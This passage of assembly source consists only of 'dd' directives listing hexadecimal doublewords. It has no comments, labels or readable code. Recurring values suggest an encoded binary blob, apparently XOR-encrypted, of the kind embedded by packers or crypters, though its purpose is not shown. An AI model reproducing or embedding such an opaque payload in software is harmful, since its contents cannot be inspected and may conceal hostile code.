0BFB13256h, 0DB4B2C0Bh dd 0D4393D95h, 1FB13256h, 75A1DB36h, 0B18F3256h, 0B149F81Ah dd 209D1191h, 33E75791h, 0AB59F678h, 8FB13256h, 5BE9D8D7h dd 9DD13440h, 0BAB13253h, 59487086h, 0AEB7DA7Ah, 40063256h dd 0EA705D1Eh, 5ED76A0Fh, 0FA5853ADh, 0B4B13256h, 0B7761423h dd 292E25A2h, 2BF479F8h, 0DC31E4EEh, 0BD246AECh, 0DE323D50h dd 8AB13256h, 0F4778559h, 0BA5CCB8Ch, 0DDD1530Ah, 23BEC198h dd 57B13253h, 0C9498FE8h, 0D5085338h, 3B13257h, 75B1325Eh dd 5A6F1E85h, 0BE39D130h, 0CED1F265h, 0E7C68A30h, 0ABB13DBEh dd 75D60456h, 60DDC537h, 56CFB9B7h, 30BA9EC3h, 3C485308h dd 0A1D199A5h, 57B122DAh, 0ABBADB56h, 5F6F3256h, 0CC91AA5Dh dd 587F1812h, 4D3A5457h, 0D6D75237h, 5F3A5489h, 0F33B937h dd 0A4B724C3h, 0D5B135DBh, 0EB3A3D56h, 8CB13256h, 0BAB0BA59h dd 0D44D3256h, 0B82456D4h, 57A1DB50h, 7B403256h, 2C23FB6Bh dd 71F44B62h, 778AED63h, 43D0384Dh, 463A3D95h, 0CEB13256h dd 57B13CBFh, 1824CA56h, 0FFEECE44h, 0A82BDF01h, 7AB9473Dh dd 0BAB132DEh, 3DD15356h, 0CF768559h, 57B132BEh, 41306856h dd 0D3A78024h, 0EABBDB36h, 0D6813256h, 2C493603h, 30AEEF8Eh dd 0CFEADCD6h, 57B7DB36h, 133256h, 864A0A64h, 0EAB120BEh dd 0CB505556h, 9B244446h, 0A44133Fh, 0C326D908h, 0D641E5BFh dd 0E0FBA78Eh, 2DD06C2Eh, 0C954B790h, 8CE73446h, 0A5DC0B3Eh dd 533C3D82h, 47B13256h, 57B1325Fh, 32D209F8h, 385D6C48h dd 0E75852C7h, 0E6B13256h, 513B8C2Dh, 36ED9655h, 9483DFE9h dd 0A8D0CADDh, 0BBAC77E3h, 163A5250h, 0EAB13EBEh, 1F204A56h dd 0CDD5136h, 0FAD5E726h, 6740B340h, 0CB8AFB0h, 2134BF37h dd 0DAB721D3h, 0EAB134DEh, 7A4D5256h, 45D0C2E1h, 0B4E3CE86h dd 0AEB1325Ch, 9419ECF2h, 2E5B258Fh, 0B5E165C1h, 8CEBCA06h dd 14DBA5EEh, 0BA31323Eh, 49585256h, 0B1B13256h, 0FE1BA9h dd 0FAA3946Eh, 85423E6Dh, 3BD080EAh, 9C53340Ch, 0BAB1325Fh dd 0E4E394AEh, 0AEEC5085h, 57DB53AFh, 0ABB13BBFh, 0C97F1956h dd 0EE8E23Bh, 0C74ECCF3h, 0BCA7A3A8h, 5DB121BFh, 0F1F95556h dd 0EEB7B1D0h, 0C9186BB9h, 49C7AB1Dh, 4925CCB2h, 0FABEE2A9h dd 0BAB1325Dh, 0CF51B236h, 0AEB1BA59h, 0FD03256h, 0ABBFB659h dd 0DC583256h, 0FAB13256h, 7438C0EAh, 83CE3437h, 3B495236h dd 0CF5481ECh, 57B122BFh, 5DEC2256h, 0F0606018h, 9AC6AE81h dd 8BE1777Ah, 0DAEB533Eh, 3B12EDD7h, 0C6D055BFh, 57B1B256h dd 52063D36h, 0DB5853AAh, 3B13256h, 4404994Dh, 6B966ED6h dd 878999F6h, 0A1B15810h, 57B13EDFh, 0AD373D56h, 0DAB13256h dd 0EAB132D4h, 2D03CD56h, 0DAB724C3h, 5DB123BFh, 0F15B8356h dd 5469BE5Eh, 0E4956715h, 0CF2A26CEh, 15D003A7h, 13495286h dd 0DBD909EFh, 136AB236h, 0AEB138BFh, 1267C56h, 907F22F0h dd 0B4E23095h, 1372C737h, 993ACB03h, 5BEC736h, 0A4D153AFh dd 0AEB132BEh, 0BD306856h, 0ADA78638h, 0D5B13ABFh, 7FD1DE56h dd 0C4843Dh, 0BABCDB24h, 59DC3256h, 9CE86486h, 0F5BFCD58h dd 20C44DA4h, 59BE3A23h, 0EAB1325Eh, 75B3B059h, 0DBD13256h dd 5DBE34BEh, 47E4C756h, 57B1325Ch, 3DCE0F40h, 24580D33h dd 784E7BF0h, 73A7A0BFh, 3CBE6FAEh, 5DB13257h, 0A2C409AFh dd 0A863B759h, 5E48CDA9h, 0D5BFE4BEh, 20305256h, 1297AEC3h dd 0B5D15337h, 5DB134DAh, 0AE353D56h, 31B13256h, 62D0C9DDh dd 0E870B336h, 60807D79h, 0B74853B3h, 0AA58325Eh, 0B7B13256h dd 86F32B37h, 5C956333h, 9FFBCC74h, 80D9D8E6h, 0EAB123BFh dd 25681056h, 0A9AD66F4h, 9C21645Fh, 16B03C4Ah, 5E583144h dd 8AB13256h, 0C700B6DCh, 0ECCCFE54h, 7AD1DEDDh, 0BAB132DCh dd 9E063D56h, 5275B137h, 57A0B159h, 42D13256h, 0D5B1325Eh dd 0D3CD279Ch, 2CAB4172h, 0ECD0F3DDh, 8E305436h, 663AA499h dd 58D16537h, 0ABB132DFh, 0D6353D56h, 0E5B13256h, 26D0FBE9h dd 0BAB1DAAFh, 0DCEB3256h, 0B804B5BCh, 56343D50h, 5EB13256h dd 0D5A2BB59h, 0E4583256h, 5BB13256h, 0FD1B04C1h, 0ACE91105h dd 400CC731h, 5FC4B99Fh, 0BBCCB9AEh, 0D5B138BFh, 0B15D7E56h dd 828BEF83h, 0ED40D229h, 5DB121BFh, 0DFD60F56h, 21E3175Ch dd 2C86BAF1h, 0D0165BE9h, 3BF59147h, 75A3DB00h, 522F3256h dd 24CCF2Dh, 0C16FA773h, 1766CB51h, 0A5F294CDh, 0D5B04BBEh dd 2ABACB56h, 7575B659h, 31483256h, 0B4E4CBAEh, 0AEB1325Ch dd 0A85E1D13h, 0F47CDC2Fh, 474EE623h, 0ECA7A0BFh, 0F1BE6136h dd 0BAB13256h, 2E52B20Ch, 0A1D16F37h, 57B13FDBh, 0ABB6DA56h dd 0F46C3256h, 54F63DF7h, 0F4D76A68h, 0DB5285B9h, 52BD476Dh dd 0AEB14BD2h, 0DCD7C756h, 0AA3C3D48h, 29B13256h, 1341D5D6h dd 75B121BFh, 2EC96656h dd 0FF794923h, 0A802FB0Ah, 7E7C5A3Fh, 9F6AA45Bh, 0DF582CDCh dd 32B13256h, 444FF904h, 19573CDh, 0AD52B250h, 0AEB122BFh dd 7F6D9B56h, 0B2023899h, 67D4A8Ah, 3C1E6DF1h, 5230DAEBh dd 0D13256h, 8F595C3h, 2774F8D7h, 0BED0757Ah, 544ECD59h dd 0D5B13FBFh, 4A8C0356h, 49B14831h, 51AA1B45h, 2038FE04h dd 0AEBEDBAAh, 59F43256h, 0F6B76D9Eh, 41A4E00Ah, 72E87E46h dd 8390DAB8h, 0B458CDA9h, 30B13256h, 3F43860Dh, 50074FEAh dd 0FF0EEE10h, 61D1698Dh, 193A5477h, 75B4DB37h, 2C013256h dd 276AD36h, 0AEA1BE59h, 0D8BE3256h, 0ABB1325Ch, 0D5B137BFh dd 56524856h, 8CEF1F81h, 0BAA7B959h, 0B5D13256h, 0AEB1325Fh dd 0DAB73D2Ch, 0F836D938h, 54D76A35h, 8B5C9FB9h, 7A4D77DDh dd 0BAB135D3h, 5C333D56h, 56B13256h, 0D6BE529Fh, 0ABB13254h dd 54BEEADDh, 0EAB13254h, 7AD0FDDDh, 0BAB133D9h, 5173CA56h dd 60305256h, 77E83279h, 0CBE453AFh, 0C75A8BAEh, 8AD0357Dh dd 75B4BE59h, 3BD73256h, 3BEC26A0h, 0E85DC3D7h, 0A25DB937h dd 5249F6D5h, 0D5B9DB01h, 574E3256h, 0CE5E776h, 0A958FD73h dd 2BB13256h, 3CCF2AEDh, 2A32E19Eh, 902DC935h, 15655EFFh dd 3E7CE96h, 75B1325Dh, 0E0D96269h, 8FECE631h, 0FFB0B8DAh dd 57B0BD59h, 0CB443256h, 657BB930h, 12E2530Bh, 75497791h dd 43B13256h, 0C961B091h, 0AEB03440h, 0DEBE3256h, 0ABB13259h dd 0D5B138BFh, 33955D56h, 0B49CBC64h, 31109041h, 3BD13A23h dd 3A50C4D7h, 9C3A5436h, 0CAD05336h, 0DAAFB930h, 0EAB133DDh dd 0CF3ACE56h, 0BCA7A3A8h, 5DA4BE59h, 47D13256h, 57B1325Ah dd 78385691h, 97DC54A4h, 752BBA62h, 8DD0EDDDh, 0DAB96DDDh dd 3C7787A3h, 2ABEE95Dh, 57B132D5h, 0AD313D36h, 54B13256h dd 0BFD8A180h, 73333D24h, 3BB13256h, 0E4F95580h, 708A534Ch dd 578EB759h, 2CBE3256h, 0D5B1325Ah, 0EAB7B959h, 0F8BE3256h dd 0BAB13256h, 0A8BD6FDDh, 0AB3E3D36h, 31B13256h, 85FDC2D7h dd 8A3853AEh, 64BECA5Ah, 75B13247h, 5257B836h, 5DB13251h dd 0B12E1A5Ah, 80C5169h, 0BF76B137h, 2A37DBA3h, 68BECDA9h dd 75B13245h, 0BAB8DB36h, 0AE733256h, 0EE965718h, 58DD269Dh dd 0CDD0F8E1h, 0B5492CDDh, 0EAB138BEh, 68AAF956h, 672A9FF0h dd 0D6CA9B86h, 503A6DAEh, 0BF4AB237h, 0A82CB659h, 2CD13256h dd 7DCF8A36h, 0F4D72E7Bh, 0DB5CF68Fh, 0A631CE37h, 2A353DBFh dd 58B13255h, 0ABB13AD4h, 0D7383D56h, 8AB13256h, 9E4AB237h dd 0B9DCB659h, 0DABE3256h, 0AEB13241h, 57B120BFh, 0C4F71A56h dd 18D8169h, 2BA1CDC6h, 99B50BCAh, 3AA43765h, 0D9BED0ADh dd 0AEB13168h, 0B44AB2A3h, 0A8A6B659h, 5FBE3256h, 0EAB13257h dd 8E3054AEh, 3EBED131h, 5DB13174h, 0AF353D36h, 0AEB13256h dd 510E3D06h, 3231530Dh, 0F2333DA6h, 9CB13256h, 0BAB13245h dd 9E586306h, 0EBAD14BEh, 0D26F3996h, 5C988515h, 0B36CD372h dd 6ABEC9D7h, 7740B659h, 36BE3256h, 5DB1324Fh, 0AEB126BFh dd 0CB87C56h, 32521F46h, 0CDD25EC8h, 0C52E0AC0h, 8AF1698Fh dd 4A52B216h, 71B336h, 0C8FF482Ah, 37D0CCDDh, 0A4D146E5h dd 2131CAE1h, 6AD05389h, 0F1BE42ADh, 0BAB130F9h, 5DB121BFh dd 0ED547956h, 0F631FE01h, 0B6A600EEh, 4855A31Ch, 0C89C9B8Ch dd 9CAFB930h, 0BAB1325Ah, 4E325B15h, 0BA0C79F0h, 35853E38h dd 0CB49D1D6h, 6D4AB237h, 0EB74B659h, 9CD13256h, 0BAB13258h dd 6E327BB9h, 3861F604h, 62319216h, 7C308A60h, 90443D4Dh dd 0EF8FB237h, 7410B659h, 3AD13256h, 3BE3A3BBh, 0CFEAE5DDh dd 589C0CD6h, 0ABB0BCD2h, 6ABE5256h, 0EABADBADh, 23453256h dd 8D4433C3h, 91C2643Ch, 9031532Ah, 27353D3Eh, 42B13257h dd 0D5B1325Dh, 0ACA85F91h, 0CF7CB958h, 0DAC418E3h, 0A8638559h dd 7E33CD37h, 37B724C2h, 0ABA9B559h, 0C6583256h, 0BEB13256h dd 0CD6B301Eh, 0C7CF8FD3h, 0FBCFF6A6h, 64007EDEh, 31D0A67Dh dd 43D12CDDh, 0D5B13251h, 0B96F83CEh, 2287125Eh, 3BD76908h dd 3C4AA2B0h, 5B49D5D6h, 57B6B559h, 24BE3256h, 0D5B13257h dd 113054AEh, 0F1BEDAD7h, 0BAB132A9h, 5DB13EBFh, 5915DE56h dd 0A56CAF6Fh, 41743656h, 0CB3A54FDh, 1C0E3D36h, 14468559h dd 0B541D5D6h, 5DB13EDDh, 0A8383D56h, 58B13256h, 0ABB132D4h dd 2E305456h, 6EBEF2D7h, 75B13295h, 0BAB9B659h, 0D0BE3256h dd 0AEB13254h, 0D6BE5336h, 0ABB13257h, 0C45852AAh, 5DB13256h dd 0FC15EC9Eh, 0A2E9B645h, 95211523h, 8E2742F7h, 3141B936h dd 0A1A1E2D7h, 54BE6737h, 0EAB13251h, 75B0B359h, 45443256h dd 4B23DBC4h, 0A7393D50h, 37B13256h, 0CD0ECBEDh, 0B449B93Eh dd 0EAA5DB0Bh, 630F3256h, 4CBA8A56h, 0BE2D71AAh, 78596168h dd 20C09866h, 0EE380CF9h, 0DD333DAAh, 8AB13256h, 0CFD76A04h dd 0DBD00F73h, 5DB13DBFh, 412B4A56h, 26808626h, 3DB1E67Ah dd 4A1415A6h, 0EB4D4FD5h, 7462B759h, 52D13256h, 5DB13246h dd 68171630h, 69F22Ah, 0DE3CA55Dh, 14A6042Ch, 89410BE8h dd 0CED76871h, 31D0B5EBh, 4DBAA7ECh, 0AF393D50h, 0AEB13256h dd 293AC706h, 0D3A7A686h, 0EAA3B959h, 9CD13256h, 0BAB1325Fh dd 101F2C3Fh, 0A02F9938h, 36EF6085h, 53810E6Fh, 0AF333D0Eh dd 12B13257h, 5756B336h, 30F0612Eh, 0E73A539Eh, 0A8A11BA7h dd 0A665B236h, 0FBD06D05h, 0B5EE6236h, 8C42B930h, 14D0FCDDh dd 2E61B0DDh, 64443440h, 2ABE026Ah, 57B13257h, 24BE6AAEh dd 0D5B1336Bh, 0EAB138BFh, 6CA11556h, 0F0206A95h, 0B49FC4ABh dd 0AEB13271h, 0AFF4F5AEh, 0ABB13254h, 0D5BBBC59h, 8CD13256h dd 420EFCDDh, 0DB9F961Dh, 5DB138BFh, 0EB76CA56h, 57B133AEh dd 2049CA56h, 0C320CCECh, 6FBE5250h, 75B13254h, 31D0D6E6h dd 4D3A3D49h, 0A1B13256h, 57B138D5h, 0ABB4DB56h, 0A3013256h dd 0E1380723h, 0A7353D8Dh, 53B13256h, 5DB13245h, 660239F5h dd 0A55E5E9Ch, 0F0CB4A5Ch, 0CED6957Dh, 0D10E0B6Fh, 0C343D88h dd 4FB13256h, 52BD6FDDh, 0AEB124D1h, 57A0DB56h, 0C4993256h dd 4A6B3177h, 3733D5C7h, 3C410A67h, 39B9CB68h, 52B1CA2Bh dd 0AEB11AD2h, 0DCD75256h, 0ABA1DBAFh, 2F823256h, 46470965h dd 0F8AB8DB4h, 0B57047ECh, 5ED00131h, 0A858CA0Bh, 0DBB13256h dd 0A4DB6405h, 0D1EEBB20h, 0EAB120BFh, 0E5105A56h, 5EA0DE34h dd 5BB93B4Bh, 9226B676h, 5861D20Eh, 0ABB135D9h, 0D43A3D56h dd 1FB13256h, 7AA5F5D5h, 0BAB120D5h, 513B3D56h, 47B13256h dd 57B13251h, 5D8F8E2Ah, 3C3C38BFh, 154ECD71h, 897101AAh dd 0BAB5D6BFh, 5DBADB56h, 832B3256h, 0E5280D83h, 59BDBE2Ah dd 0CB3A54EFh, 0EAB120BFh, 0C5140C56h, 77D27D23h, 1BE6DF54h dd 0CCFD717Ah, 589D7686h, 0ABB13DD6h, 0D5BBDB56h, 60353256h dd 507824BFh, 0A1015989h, 0A1BD4FDDh, 0A15AC9D6h, 57B15CD2h dd 0A43A3D56h, 3CB13256h, 0EAB1325Ch, 0F601B10Eh, 688231DEh dd 0BE3115E4h, 0AF303DA6h, 0ABB13256h, 0A4C1C9D6h, 0D5B180D2h dd 0EAA1DB56h, 3E6A3256h, 0F176B606h, 60C9515Ah, 0EDD006B7h dd 23583925h, 0CBB13257h, 0DE5880E1h, 54B13256h, 91899D9h dd 46D4279Bh, 52D0920Eh, 0AEB120DEh, 57BCDB56h, 4D363256h dd 2F43F48h, 7CF82A6Ah, 0B3AD9CE9h, 7D48DB51h, 5DB13311h dd 23BE3256h, 57B13251h, 0ABB0BF59h, 0DA483256h, 0EAB124DAh dd 75A0DB56h, 4B13256h dd 55130E77h, 0EEA237CFh, 53975251h, 205B6345h, 0DA58CE91h dd 0BEB13256h, 0ADE003C2h, 0C56F1758h, 5FFBD7h, 6E322622h dd 8158C753h, 0A4B13255h, 0D5B120D5h, 0EABCDB56h, 1DF23256h dd 2DFE5B81h, 7708E977h, 0C824EB37h, 5FBE3591h, 0ABB121BFh dd 534E6456h, 89BEAF75h, 0CAED0A5Bh, 0EF172782h, 8490977Fh dd 2E4D2CDCh, 0E3D13DB5h, 0ABBDDB24h, 0F0673256h, 13FED980h dd 0D3DB1519h, 0DAD0122Ah, 52D1CADDh, 0AEB132DDh, 36D05256h dd 2B7AB237h, 0D5B122BFh, 84363256h, 0B1CA94Bh, 699889BBh dd 0CD7AEE44h, 0AFEEBA3Ah, 57B13EBFh, 0D5DAAF56h, 7281BB55h dd 0DE6EDA44h, 77F6F5A1h, 0BAB13256h, 5DB122BFh, 0C05DE356h dd 0A9FC8CA2h, 2EAD5415h, 7356877Fh, 0E6373D41h, 7AB13256h dd 0BAB134D2h, 5D303D56h, 25B13256h, 8F3A5291h, 0ABB121BEh dd 47B8D556h, 22BBD06Fh, 0F098C76Dh, 0BBF9DB02h, 0A3A07464h dd 0AEB1BC59h, 36EA3256h, 52B7F2D5h, 0D5B6B159h, 60D13256h dd 0C560B2A8h, 0B852DB37h, 3B443256h, 3E210CD7h, 57FFB659h dd 2B493256h, 50BEA268h, 0EAB13224h, 0FBBE5236h, 0BAB13256h dd 0B369B330h, 14D75300h, 31D070D2h, 3B4E4CD7h, 0F0353DC6h dd 8AB13256h, 13EAD1D6h, 53D0CADDh, 5DB13210h, 0AEB121BFh dd 2B8BF256h, 8CE176A2h, 43281993h, 3A8321D9h, 316BB462h dd 5348F5DDh, 5DB130D7h, 0E80F5436h, 57B7DA1Dh, 0F01A3256h dd 0DE4E034Ch, 0EAB13DBFh, 3E08A856h, 0A717BF18h, 0A5068E95h dd 3F5DD005h, 0D53C530Ch, 0ADA7A7D9h, 0D5B138BFh, 7063B956h dd 0D9638F87h, 0EA1B9EA8h, 0DBBE64A3h, 0AEB13257h, 5B3D3DAEh dd 0A4B13256h, 0D5B134D6h, 0EA313D56h, 8AB13256h, 0AC2238C4h dd 0DCD75250h, 250CEE99h, 97BA53A1h, 0ABD4B659h, 5EBE3256h dd 0EAB13241h, 75B120BFh, 87A42756h, 0C7F48C6Ah, 1C7CA1FCh dd 58FC3B5Eh, 20F8F2C5h, 0C759529Eh, 77B13256h, 0BA395D0Fh dd 5C0EAC3Ch, 0E9FBF10h, 64D6428Eh, 0DDEFCAD7h, 193C53B7h dd 0D3A7A7D9h, 0EB3B3DAEh, 8CB13256h, 0BAB1B1BFh, 5DA0DB56h dd 0B8E53256h, 663A8018h, 941506C8h, 4E41C8C8h, 0BC2FA460h dd 75B6DA36h, 0E3EB3256h, 4C90D38h, 0F0D052AAh, 993A53A3h dd 0A4E4CBA3h, 0D5B133D5h, 784ECB56h, 73A7A0BFh, 0BAB4B659h dd 0D7D13256h, 0F3D0CB88h, 587F19A3h, 0ABB13DD2h, 0D5BBDB56h dd 6A8A3256h, 6D115A50h, 182D863Bh, 0DCD76036h, 0F6E5119Ch dd 0A268C537h, 0ABB0B959h, 8B483256h, 0EABBBE59h, 15D13256h dd 0FF5EB337h, 3CCFC46Fh, 0AF494FD5h, 5738B759h, 0A3583256h dd 6AB13256h, 0D7BA8773h, 0C5FFF9D4h, 35BECE1Fh, 5DB13257h dd 28BE98AAh, 57B1325Ah, 0ABB7BA59h, 55BE3256h, 0EAB13256h dd 0F0BE8A30h, 0BABBB659h, 0DCD13256h, 33102FBCh, 36778745h dd 0A4499930h, 0B5B074E0h, 0EAB13ABFh, 0C4500256h, 3BFEB113h dd 0EC08546Fh, 0CE1A53C4h, 0C49A06E8h, 6458530Fh, 0B5B13256h dd 0EAA2DA00h, 0C0353256h, 710E2B02h, 1BF85A23h, 0C6CE9DE8h dd 0F377AC25h, 0CAE96DA7h, 0D5B0B659h, 69493256h, 7AB3CA2Bh dd 0BAB1A0D3h, 0E6075256h, 0A5095437h, 630B529Fh, 42F06264h dd 0D5B1325Eh, 6BFD4A0Ah, 7EBFF4CEh, 531A5437h, 5DB1325Fh dd 1505501Eh, 0F3EC2C20h, 53D15250h, 0FD93D0D7h, 0E5D044B2h dd 75B126DAh, 0BABFDA56h, 0A7A63256h, 0FB02B459h, 97E7CB02h dd 22FF3D64h, 6DD75308h, 8C48B659h, 75B4DBFDh, 0E2A13256h dd 52D88002h, 57B074E0h, 57B139BFh, 1CAF2256h, 50BD274Ch dd 6E02350Fh, 7D3A3DFDh, 0B5B13256h, 5DB130D2h, 47D05256h dd 57B13240h, 0ABB0BA59h, 26443256h, 0ED3A3DF2h, 7AB13256h dd 0BAB133DFh, 9A3ACA56h, 0C8D169AAh, 8E58E4D7h, 0F0E86200h dd 3CD16B37h, 0EAB1325Ch, 40A92AD3h, 0ECCC2EE8h, 0D6D7E93Ah dd 47EF538Ch, 57B1325Dh, 6B3E7FDFh, 0FFCAED23h, 0B5751A8Dh dd 0F3085436h, 0BAA2DA75h, 74A63256h, 73E14841h, 7E8E97D1h dd 56F35ED9h, 0DB7DF768h, 0B1D05227h, 15D1FB37h, 0BAB13DBFh dd 6ADA4656h, 0E40A8AC6h, 97EAE99h, 0B1246B85h, 0B409C7D6h dd 0E273C737h, 74393D56h, 42B13256h, 5258C703h, 0D4B13256h dd 0F6BE9933h, 0D8AE713Bh, 0E6F88DF1h, 63AE1E6h, 75A7B359h dd 0AB583256h, 0E1B13256h, 0BAAF1D98h, 95830E7h, 0BEE4C813h dd 460055ABh, 0EA59CE36h, 2FB13256h, 7991D8D7h, 0DABE3440h dd 0AEB13245h, 57BBDB36h, 3A93256h, 0C67F8A1Bh, 7B529715h dd 7AD078E3h, 0BAB137D3h, 0E2BE5256h, 254D53A1h, 0DE4D3A13h dd 0BD2342D4h, 0D5B4DB50h, 3F803256h, 9CA67B7Dh, 0BAB13245h dd 632654DAh, 8E0EBA69h, 12E5B11h, 0FD0BE608h, 0B41A4C15h dd 0EABBBA59h, 0F4D13256h, 72914BBDh, 3C82822Eh, 0A23C3D9Fh dd 0BEB13256h, 0ABB13251h, 0E14AC936h, 2811DED5h, 13D13252h dd 0A2C5D4D7h, 0A0768836h, 78315475h, 2D053C3h, 0ABB126BFh dd 9C73B856h, 3D3550Eh, 8D24F5A8h, 0E7DDB2F7h, 924597ECh dd 0CE5DB970h, 57B9DBA3h, 0A16D3256h, 80AD24F4h, 0E5D00271h dd 75B13AD4h, 0B8373D56h, 3DB13256h, 5675B137h, 0DDBE52AAh dd 0ABB1324Fh, 0D5B126BFh, 0DEF5AA56h, 0BD2D888Ch, 5C85C2DBh dd 155F48ABh, 361C573Ah, 57B1DAB4h, 2AEB3256h, 0C37521BCh dd 16D1CA50h, 74333D37h, 46B13256h, 5D497791h, 0CEB13256h dd 0F46EB330h, 643054ADh, 12D00344h, 0EAB1CE13h, 0F5D13256h dd 3BD7379Dh, 3CAB148Fh, 29BEF265h, 57B13251h, 91AF8836h dd 3CD0363Dh, 0EAB13244h, 696DEFB9h, 98016E4Dh, 89A15EF3h dd 0F48AB52h, 0DCD775E1h, 1E085248h, 0DA855074h, 0EAB137DBh dd 84378C56h, 7DD04F35h, 4B25E2D4h, 0AEB13350h, 50373D56h dd 0CBB13256h, 315336h, 6BD75375h, 7A21A2ADh, 0BAB12BD3h dd 5DBCDB56h, 69833256h, 63E3318Fh, 63231CEh, 0DAC989C0h dd 0EAB133DCh, 8E31C756h, 0A4353DBEh, 0B4B13253h, 0AEB13246h dd 9BA6A9B9h, 0D3B63A96h, 0CB37307h, 920B4C26h, 75B126BFh dd 73418A56h, 0E2A4ED59h, 0B973B241h, 254570FBh, 0D318AD74h dd 0D25872C5h, 0B5B13256h, 0B4641576h, 41317239h, 87353DBFh dd 5BB13252h, 0D3BE5216h, 0ABB13259h, 0D5B138BFh, 0EDF12156h dd 66B51436h, 0B54ED807h, 5DB130DFh, 0CF218056h, 585AC9D6h dd 0ABB582D2h, 3CD1CE56h, 0EAB13251h, 0BB67FC53h, 0ECC69E77h dd 0F9A6FAD7h, 0CFE802D4h, 57BDDB16h, 6F783256h, 0D609FA97h dd 19A15335h, 9231C642h, 0BB343DA6h, 0A1B13256h, 0A14AB330h dd 25353DD6h, 0CBB13252h, 0B3EBC704h, 0E9D0C1DDh, 659BF3D4h dd 0B2363D50h, 52B13256h, 0AEB130D2h, 0BED05256h, 0ABB13258h dd 8BEEA222h, 0E6B3E035h, 6583615Eh, 4FF140ACh, 5253C9D6h dd 0AEB51BD2h, 57BFDB56h, 8C673256h, 0FF2A02Dh, 0C5AF0A09h dd 60850738h, 0B552C9D6h, 5DB2D3D2h, 0CF445256h, 304AB330h dd 54353DB5h, 3CB13255h, 0EAB13250h, 0CE0A15C0h, 5931F9B9h dd 0DC4952A6h, 43D0409Ch, 0AC31533Ch, 45353D26h, 3CB13255h dd 0EAB13242h, 43607759h, 8862FB6Ah, 33E49FC6h, 0CB022415h dd 0B2617B1Ch, 0ABA5B159h, 51BE3256h, 0EAB13258h, 75B13BBFh dd 825AFB56h, 5A9B1DCCh, 25D7A11Ch, 0B431CB48h, 5031CBAEh dd 70353DEEh, 3B13257h, 75B1325Ch, 6BA2B68Ah, 0B5395042h dd 9031E2E3h, 0DA353D53h, 0A4B13257h, 0D5B12CD3h, 62BE5256h dd 75B13256h, 0BAB122BEh dd 0D28D0E56h, 3EED498Fh, 0D7D49381h, 0D81B056h, 0DAD06BCCh dd 0EAB13ED3h, 73343D56h, 0B5B13256h, 5DB132D7h, 838FB256h dd 56FFB659h, 0A2583256h, 17B13256h, 8D951F55h, 0C4858318h dd 0B03D3D36h, 0B4B13256h, 0AEB13253h, 4728BF45h, 4B0A54CDh dd 0EB3153BCh, 0CB353D3Eh, 89B13257h, 0E1E75216h, 3C45C7D6h dd 3A61B0A9h, 37D13440h, 2AD7E1DDh, 0B46F908Eh, 0F43A5437h dd 75B9BE59h, 3BBE3256h, 5DB13254h, 0C8D15336h, 3DDCF4D7h dd 16EE9D7h, 55D023E0h, 0E658CAB1h, 4AB13256h, 8C4554BDh dd 68EABE8Fh, 0C8CF70C9h, 0BF30C9D7h, 0AB7BB659h, 0B5D13256h dd 6757B330h, 14EF608Eh, 0BAB0BC59h, 3C443256h, 56AFB930h dd 3741D5D6h, 0CA4B8559h, 0D5B134BFh, 0C6EE1C56h, 13D0EA9Ch dd 7A30C9D7h, 5D27B659h, 24BE3256h, 57B13240h, 0ABB123BFh dd 0EC0E6556h, 0E9E748C3h, 27B6B0B7h, 6B1FE846h, 545871BFh dd 45B13256h, 4D6D0143h, 7714E0DAh, 0DAE4CE36h, 0EAB12AD0h dd 70595256h, 67B13256h, 748E97D1h, 0AEB4DA0Fh, 4DCD3256h dd 0F02A057Ah, 3C23CD37h, 12B724C4h, 0FC446FAFh, 34BECE13h dd 5DB13251h, 0AEB0B259h, 364D3256h, 0ABB6B859h, 6BD13256h dd 9C887DCAh, 89CCB137h, 1343D57h, 0B4B13250h, 0AEB13242h dd 3DB062D8h, 84D999A6h, 7D153DDEh, 967957CFh, 0C9B9DDB4h dd 0B12488DDh, 0D3BE3446h, 0AEB1325Eh, 57B3B259h, 0CAD13256h dd 573AC706h, 0ECA7A686h, 7F3E3DAFh, 0DAB13256h, 0D7BEE3DDh dd 0AEB13256h, 678D0B37h, 0ABBBB159h, 83D13256h, 0EA3D3D0Eh dd 14B13256h, 0E1333D0Eh, 0B4B13250h, 0AEB13259h, 765A1225h dd 0FCFE0B1h, 3B7235FFh, 8A4AAF61h, 0F513D1D6h, 31D077B0h dd 4D98C3ECh, 0A6585250h, 0DEB13256h, 1B925946h, 0B3D50E35h dd 0BAD0F9DDh, 75A5B959h, 30BE3256h, 5DB13258h, 0AEB13BBFh dd 0B554FA56h, 0C2346E68h, 573AD07Bh, 0ECA7A686h, 75B126BFh dd 6C2AE256h, 0E075387h, 60A6EFF6h, 976DF306h, 132C10AEh dd 0E58D0B68h, 0EABFDA36h, 51E3256h, 97B89AA2h, 312269D4h dd 0C8E5AE50h, 58E95336h, 0ABB136DEh, 0F2095456h, 0FA585336h dd 2AB13256h, 60FF3C65h, 0D67475AAh, 0AB33CD24h, 0F7FE498h dd 0AE1DBD59h, 5E483256h, 0FC2316ECh, 75A3DB50h, 1B8E3256h dd 3917D0EBh, 0B4647428h, 0EF7AF67Dh, 55A57F7Ah, 0D5B13EBFh dd 0F374BF56h, 291FCD38h, 0AFB7D503h, 7933B1B6h, 0BAB724C4h dd 0DD0F5436h, 0A6B6892Bh, 5CD02225h, 64BE5261h, 75B13255h dd 0DB4BB930h, 0B4A175DFh, 0AEB13258h, 6FA0CA33h, 977F3906h dd 4F5F2EF7h, 0E5E1F5D3h, 75B13BD1h, 0B5485256h, 5DB132D1h dd 25495356h, 4125E2D4h, 0ABB6DB50h, 81B03256h, 0D4543EA3h dd 45ADB92Bh, 0BF3C3D36h, 0E7B13256h, 0C4B1A18Dh, 37D9EDD7h dd 0F3D0054Bh, 0D5B7B559h, 0BDD13256h, 1471810Dh, 46B96DDFh dd 5DB5CBBFh, 0AEBDDB56h, 94C33256h, 67DE6FFDh, 0FCE5776Eh dd 0E1584550h, 0CBB13256h, 127A66B9h, 0CC2930F0h, 0EB76775Ch dd 57B130AEh, 443B5256h, 0D5B13DBEh, 77B11356h, 6508E308h dd 0AA5C372Dh, 86A05FD9h, 0B858530Dh, 58B13256h, 0ABB133D9h dd 9076CE56h, 0EAB133AEh, 0CED75256h, 43067000h, 790BB937h dd 0CEB724C4h, 84BA7E8h, 6A30542Eh, 56D08F00h, 0FC2316D4h dd 0F5BE2650h, 0BAB13258h, 5DB13BBFh, 46D44B56h, 0FA2327BEh dd 9C388B99h, 0C5F6BBAEh, 0E949B1AFh, 75CCB759h, 36BE3256h dd 5DB1324Dh, 0AEA4B059h, 47583256h, 71B13256h, 2624EF1h dd 387B5CFCh, 0C53640D5h, 0B566A0F1h, 5DB13CD6h, 60305256h dd 